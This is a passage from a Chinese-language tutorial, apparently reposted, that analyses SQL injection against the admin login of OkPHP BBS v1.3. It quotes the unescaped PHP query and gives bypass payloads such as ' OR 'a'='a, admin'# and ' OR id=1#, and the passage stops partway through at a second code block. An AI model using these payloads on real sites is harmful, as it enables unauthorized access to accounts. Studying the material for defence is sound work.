php 攻击方法之谈php+mysql注射语句构造
前端之家收集整理的这篇文章主要介绍了
php 攻击方法之谈php+mysql注射语句构造,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
一.前言:
版本信息:OkPHP BBS v1.3 开源版 由于PHP和MysqL本身得原因,PHP+MysqL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对OkPHP BBS v1.3一些文件得简单分析,来谈谈PHP+MysqL注射语句构造方式,希望本文对你有点帮助。
声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二.“漏洞”分析:
1.admin/login.PHP注射导致绕过身份验证漏洞:
代码:
<div class="codetitle"><a style="CURSOR: pointer" data="86494" class="copybut" id="copybut86494" onclick="doCopy('code86494')"> 代码如下:
<div class="codebody" id="code86494">
$conn=
sql_connect($dbhost,$dbuser,$dbpswd,$dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res =
sql_query($q,$conn);
$row =
sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。 对于select
from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
相当于sql语句:
select from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
构造2(利用
MysqL里的注释语句# ,/
把$password注释掉):$username=admin'#(或admin'/)
即:
select
from $user_table where username='admin'#' and password='$password'"
相当于:
select from $user_table where username='admin'
在admin/login.
PHP中$q语句中的$password在
查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:
select id,group_id from $user_table where username='admin'
只要存在
用户名为admin的就成立,如果不知道
用户名,只知道对应的id,
我们就可以这样构造:$username=' OR id=1#
相当于:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
我们接着往下看
代码:
<div class="codetitle">
<a style="CURSOR: pointer" data="78208" class="copybut" id="copybut78208" onclick="doCopy('code78208')"> 代码如下: